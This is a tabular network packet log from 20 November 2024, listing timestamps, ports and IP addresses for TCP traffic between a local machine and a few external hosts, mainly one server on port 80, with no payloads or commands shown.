Nov 20, 2024 14:43:44.105838060 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.106003046 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.106103897 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.106429100 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.106429100 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.106445074 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.106458902 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.111391068 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.111423016 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.111568928 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.111829042 CET	49895	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:44.111840963 CET	443	49895	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:44.128016949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.128465891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.128479004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.128540039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.128591061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.129013062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.129504919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.129776955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.129961967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.130542040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.130695105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.130750895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.131591082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.131692886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.131825924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.132548094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.132671118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.132726908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.132726908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.133574963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.133627892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.133716106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.133769989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.134829998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.134897947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.134954929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.135006905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.135560036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.136017084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.136590004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.136596918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.136610985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.136674881 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.137615919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.137667894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.137706041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.137792110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.138603926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.138660908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.138993025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.139045954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.139626026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.139686108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.139719009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.139838934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.140804052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.140811920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.140935898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.141686916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.141769886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.142715931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.142724991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.142771006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.142842054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.143472910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.143985033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.144061089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.144094944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.144536972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.144711018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.144949913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.144984961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.145001888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.145745993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.145808935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.145983934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.146038055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.146826029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.146965981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.147000074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.147020102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.147778988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.147834063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.147895098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.148106098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.148782015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.148833990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.148858070 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.148916960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.149818897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.149960995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.149972916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.150044918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.150830984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.150902033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.151091099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.151483059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.151849031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.151916027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.152082920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.152149916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.152872086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.152955055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.152990103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.153022051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.153892994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.153948069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.153983116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.154113054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.154902935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.155013084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.155045033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.155076981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.155939102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.156029940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.156048059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.156310081 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.156938076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.157000065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.157263041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.157319069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.158020973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.158107042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.158173084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.158173084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.158971071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.159043074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.159651995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.159807920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.159991980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.160142899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.160170078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.160865068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.161139011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.161165953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.161210060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.161437988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.162071943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.162203074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.162265062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.163100958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.163167000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.163199902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.163341999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.164052963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.164128065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.164134026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.164253950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.165100098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.165246010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.165262938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.165302038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.166119099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.166213989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.166289091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.166358948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.167143106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.167202950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.167306900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.167382002 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.168157101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.168322086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.168421030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.169163942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.169279099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.169600964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.169779062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.170159101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.170244932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.170450926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.171087027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.171224117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.171330929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.171335936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.171395063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.172384024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.172439098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.172451019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.172489882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.173233032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.173307896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.173341990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.173669100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.174252033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.174345016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.174421072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.175348997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.175390959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.175518036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.176328897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.176415920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.176433086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.176659107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.177371025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.177454948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.177582026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.178448915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.178571939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.178639889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.179160118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.179559946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.179600000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.179913998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.180387020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.180490971 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.180736065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.181014061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.181358099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.181830883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.256323099 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:44.303344011 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:44.328660011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.328728914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.328849077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.329016924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.329051971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.329097033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.329268932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.329319000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.329453945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.329502106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.330357075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.330420017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.330710888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.330773115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.331342936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.331402063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.331876993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.331942081 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.332443953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.332510948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.332515001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.332561016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.333376884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.333439112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.334160089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.334235907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.334462881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.334532976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.334575891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.334768057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.335664034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.335737944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.335849047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.335902929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.336663008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.336721897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.336738110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.336767912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.337465048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.337537050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.337862968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.337927103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.338469982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.338541985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.338542938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.338587999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.339467049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.339533091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.339581966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.339627981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.340544939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.340616941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.340717077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.340775967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.341540098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.341602087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.341670036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.341744900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.342572927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.342622995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.342714071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.343611002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.343664885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.343790054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.343837976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.344649076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.344698906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.344741106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.344785929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.345607996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.345663071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.345837116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.345886946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.346743107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.346915007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.346975088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.347800016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.347855091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.348037958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.348088980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.348692894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.348743916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.348841906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.348887920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.349821091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.349877119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.350143909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.350739002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.350797892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.351068020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.351140976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.351855040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.351917982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.351953030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.351996899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.352730036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.352786064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.352850914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.352901936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.353745937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.353801012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.353874922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.353923082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.354798079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.354924917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.354928017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.355107069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.355825901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.356125116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.356280088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.356323957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.356803894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.356947899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.357002974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.357871056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.357937098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.357945919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.357999086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.358835936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.358901024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.359055042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.359210014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.359936953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.360002041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.360255003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.360308886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.363699913 CET	80	49800	185.215.113.206	192.168.2.6
